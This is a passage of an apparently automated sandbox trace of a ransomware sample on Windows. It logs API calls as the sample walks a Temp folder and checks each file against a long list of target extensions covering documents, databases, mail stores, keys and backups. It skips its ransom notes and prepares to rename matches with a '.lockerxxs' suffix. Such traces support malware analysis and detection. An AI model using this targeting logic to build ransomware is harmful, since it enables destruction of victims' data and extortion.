(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.cert") returned 0 [0086.639] lstrlenA (lpString="*.cert") returned 6 [0086.639] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.docm") returned 0 [0086.639] lstrlenA (lpString="*.docm") returned 6 [0086.639] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.xlsm") returned 0 [0086.639] lstrlenA (lpString="*.xlsm") returned 6 [0086.639] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.dwg") returned 0 [0086.639] lstrlenA (lpString="*.dwg") returned 5 [0086.639] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.nd") returned 0 [0086.639] lstrlenA (lpString="*.nd") returned 4 [0086.639] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.tlg") returned 0 [0086.639] lstrlenA (lpString="*.tlg") returned 5 [0086.639] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.lgb") returned 0 [0086.639] lstrlenA (lpString="*.lgb") returned 5 [0086.639] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.mov") returned 0 [0086.639] lstrlenA (lpString="*.mov") returned 5 [0086.640] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.xdw") returned 0 [0086.640] lstrlenA (lpString="*.xdw") returned 5 [0086.640] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.ods") returned 0 [0086.640] lstrlenA (lpString="*.ods") returned 5 [0086.640] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.wav") returned 0 [0086.640] lstrlenA (lpString="*.wav") returned 5 [0086.640] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.mp3") returned 0 [0086.640] lstrlenA (lpString="*.mp3") returned 5 [0086.640] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.aiff") returned 0 [0086.640] lstrlenA (lpString="*.aiff") returned 6 [0086.640] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.flac") returned 0 [0086.640] lstrlenA (lpString="*.flac") returned 6 [0086.640] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.m4a") returned 0 [0086.640] lstrlenA (lpString="*.m4a") returned 5 [0086.640] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.csv") returned 0 [0086.640] lstrlenA (lpString="*.csv") returned 5 [0086.640] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x981265f0, ftCreationTime.dwHighDateTime=0x1d5e155, ftLastAccessTime.dwLowDateTime=0xc4c60980, ftLastAccessTime.dwHighDateTime=0x1d5d958, ftLastWriteTime.dwLowDateTime=0xc4c60980, ftLastWriteTime.dwHighDateTime=0x1d5d958, nFileSizeHigh=0x0, nFileSizeLow=0x10fcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MZ2rmR9N.wav", cAlternateFileName="")) returned 1 [0086.640] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.640] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MZ2rmR9N.wav") returned -1 [0086.640] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MZ2rmR9N.wav") returned -1 [0086.640] lstrcmpiA (lpString1="", lpString2="MZ2rmR9N.wav") returned -1 [0086.640] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif") returned="mRVTAUh7QrJC.gif" [0086.640] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.640] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.641] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.641] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.641] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="MZ2rmR9N.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav" [0086.641] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.ems") returned 0 [0086.641] lstrlenA (lpString="*.ems") returned 5 [0086.641] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.db") returned 0 [0086.641] lstrlenA (lpString="*.db") returned 4 [0086.641] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.dbf") returned 0 [0086.641] lstrlenA (lpString="*.dbf") returned 5 [0086.641] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.myox") returned 0 [0086.641] lstrlenA (lpString="*.myox") returned 6 [0086.641] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.myo") returned 0 [0086.641] lstrlenA (lpString="*.myo") returned 5 [0086.641] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.qbw") returned 0 [0086.641] lstrlenA (lpString="*.qbw") returned 5 [0086.641] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.qbb") returned 0 [0086.641] lstrlenA (lpString="*.qbb") returned 5 [0086.641] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.qbm") returned 0 [0086.641] lstrlenA (lpString="*.qbm") returned 5 [0086.641] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.qbo") returned 0 [0086.641] lstrlenA (lpString="*.qbo") returned 5 [0086.642] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.qbx") returned 0 [0086.642] lstrlenA (lpString="*.qbx") returned 5 [0086.642] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.qba") returned 0 [0086.642] lstrlenA (lpString="*.qba") returned 5 [0086.642] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.qby") returned 0 [0086.642] lstrlenA (lpString="*.qby") returned 5 [0086.642] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.qbj") returned 0 [0086.642] lstrlenA (lpString="*.qbj") returned 5 [0086.642] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.ofx") returned 0 [0086.642] lstrlenA (lpString="*.ofx") returned 5 [0086.642] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.qif") returned 0 [0086.642] lstrlenA (lpString="*.qif") returned 5 [0086.642] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.mye") returned 0 [0086.642] lstrlenA (lpString="*.mye") returned 5 [0086.642] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.mbox") returned 0 [0086.642] lstrlenA (lpString="*.mbox") returned 6 [0086.642] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.eml") returned 0 [0086.642] lstrlenA (lpString="*.eml") returned 5 [0086.642] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.pst") returned 0 [0086.642] lstrlenA (lpString="*.pst") returned 5 [0086.642] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.ost") returned 0 [0086.643] lstrlenA (lpString="*.ost") returned 5 [0086.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.idx") returned 0 [0086.643] lstrlenA (lpString="*.idx") returned 5 [0086.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.dbx") returned 0 [0086.643] lstrlenA (lpString="*.dbx") returned 5 [0086.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.sql") returned 0 [0086.643] lstrlenA (lpString="*.sql") returned 5 [0086.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.mdb") returned 0 [0086.643] lstrlenA (lpString="*.mdb") returned 5 [0086.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.fdb") returned 0 [0086.643] lstrlenA (lpString="*.fdb") returned 5 [0086.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.wab") returned 0 [0086.643] lstrlenA (lpString="*.wab") returned 5 [0086.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.dat") returned 0 [0086.643] lstrlenA (lpString="*.dat") returned 5 [0086.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.txt") returned 0 [0086.644] lstrlenA (lpString="*.txt") returned 5 [0086.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.jpeg") returned 0 [0086.644] lstrlenA (lpString="*.jpeg") returned 6 [0086.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.jpg") returned 0 [0086.644] lstrlenA (lpString="*.jpg") returned 5 [0086.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.png") returned 0 [0086.644] lstrlenA (lpString="*.png") returned 5 [0086.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.php") returned 0 [0086.644] lstrlenA (lpString="*.php") returned 5 [0086.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.cs") returned 0 [0086.644] lstrlenA (lpString="*.cs") returned 4 [0086.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.cpp") returned 0 [0086.644] lstrlenA (lpString="*.cpp") returned 5 [0086.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.rar") returned 0 [0086.644] lstrlenA (lpString="*.rar") returned 5 [0086.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.zip") returned 0 [0086.644] lstrlenA (lpString="*.zip") returned 5 [0086.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.html") returned 0 [0086.644] lstrlenA (lpString="*.html") returned 6 [0086.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.htm") returned 0 [0086.645] lstrlenA (lpString="*.htm") returned 5 [0086.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.xlsx") returned 0 [0086.645] lstrlenA (lpString="*.xlsx") returned 6 [0086.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.xls") returned 0 [0086.645] lstrlenA (lpString="*.xls") returned 5 [0086.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.mp4") returned 0 [0086.645] lstrlenA (lpString="*.mp4") returned 5 [0086.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.ppt") returned 0 [0086.645] lstrlenA (lpString="*.ppt") returned 5 [0086.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.pptx") returned 0 [0086.645] lstrlenA (lpString="*.pptx") returned 6 [0086.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.doc") returned 0 [0086.645] lstrlenA (lpString="*.doc") returned 5 [0086.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.dot") returned 0 [0086.645] lstrlenA (lpString="*.dot") returned 5 [0086.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.docx") returned 0 [0086.645] lstrlenA (lpString="*.docx") returned 6 [0086.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.7z") returned 0 [0086.645] lstrlenA (lpString="*.7z") returned 4 [0086.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.tar") returned 0 [0086.646] lstrlenA (lpString="*.tar") returned 5 [0086.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.bz2") returned 0 [0086.646] lstrlenA (lpString="*.bz2") returned 5 [0086.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.gz") returned 0 [0086.646] lstrlenA (lpString="*.gz") returned 4 [0086.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.mkv") returned 0 [0086.646] lstrlenA (lpString="*.mkv") returned 5 [0086.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.eml") returned 0 [0086.646] lstrlenA (lpString="*.eml") returned 5 [0086.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.msg") returned 0 [0086.646] lstrlenA (lpString="*.msg") returned 5 [0086.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.edb") returned 0 [0086.646] lstrlenA (lpString="*.edb") returned 5 [0086.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.accdb") returned 0 [0086.646] lstrlenA (lpString="*.accdb") returned 7 [0086.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.odb") returned 0 [0086.646] lstrlenA (lpString="*.odb") returned 5 [0086.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.java") returned 0 [0086.646] lstrlenA (lpString="*.java") returned 6 [0086.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.asm") returned 0 [0086.647] lstrlenA (lpString="*.asm") returned 5 [0086.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.pfx") returned 0 [0086.647] lstrlenA (lpString="*.pfx") returned 5 [0086.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.pem") returned 0 [0086.647] lstrlenA (lpString="*.pem") returned 5 [0086.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.p12") returned 0 [0086.647] lstrlenA (lpString="*.p12") returned 5 [0086.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.gpg") returned 0 [0086.647] lstrlenA (lpString="*.gpg") returned 5 [0086.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.vsd") returned 0 [0086.647] lstrlenA (lpString="*.vsd") returned 5 [0086.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.odg") returned 0 [0086.647] lstrlenA (lpString="*.odg") returned 5 [0086.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.raw") returned 0 [0086.647] lstrlenA (lpString="*.raw") returned 5 [0086.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.nef") returned 0 [0086.647] lstrlenA (lpString="*.nef") returned 5 [0086.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.svg") returned 0 [0086.647] lstrlenA (lpString="*.svg") returned 5 [0086.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.psd") returned 0 [0086.647] lstrlenA (lpString="*.psd") returned 5 [0086.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.vmx") returned 0 [0086.648] lstrlenA (lpString="*.vmx") returned 5 [0086.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.vmdk") returned 0 [0086.648] lstrlenA (lpString="*.vmdk") returned 6 [0086.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.vdi") returned 0 [0086.648] lstrlenA (lpString="*.vdi") returned 5 [0086.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.lay6") returned 0 [0086.648] lstrlenA (lpString="*.lay6") returned 6 [0086.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.mpeg") returned 0 [0086.648] lstrlenA (lpString="*.mpeg") returned 6 [0086.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.djvu") returned 0 [0086.648] lstrlenA (lpString="*.djvu") returned 6 [0086.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.tiff") returned 0 [0086.648] lstrlenA (lpString="*.tiff") returned 6 [0086.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.backup") returned 0 [0086.648] lstrlenA (lpString="*.backup") returned 8 [0086.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.pdf") returned 0 [0086.648] lstrlenA (lpString="*.pdf") returned 5 [0086.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.cert") returned 0 [0086.648] lstrlenA (lpString="*.cert") returned 6 [0086.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.docm") returned 0 [0086.648] lstrlenA (lpString="*.docm") returned 6 [0086.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.xlsm") returned 0 [0086.649] lstrlenA (lpString="*.xlsm") returned 6 [0086.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.dwg") returned 0 [0086.649] lstrlenA (lpString="*.dwg") returned 5 [0086.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.nd") returned 0 [0086.649] lstrlenA (lpString="*.nd") returned 4 [0086.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.tlg") returned 0 [0086.649] lstrlenA (lpString="*.tlg") returned 5 [0086.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.lgb") returned 0 [0086.649] lstrlenA (lpString="*.lgb") returned 5 [0086.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.mov") returned 0 [0086.649] lstrlenA (lpString="*.mov") returned 5 [0086.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.xdw") returned 0 [0086.649] lstrlenA (lpString="*.xdw") returned 5 [0086.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.ods") returned 0 [0086.649] lstrlenA (lpString="*.ods") returned 5 [0086.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", pszSpec="*.wav") returned 1 [0086.649] lstrlenA (lpString="*.wav") returned 5 [0086.649] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav" [0086.649] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav" [0086.649] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav." [0086.649] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav.lockerxxs" [0086.650] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MZ2rmR9N.wav" (normalized: 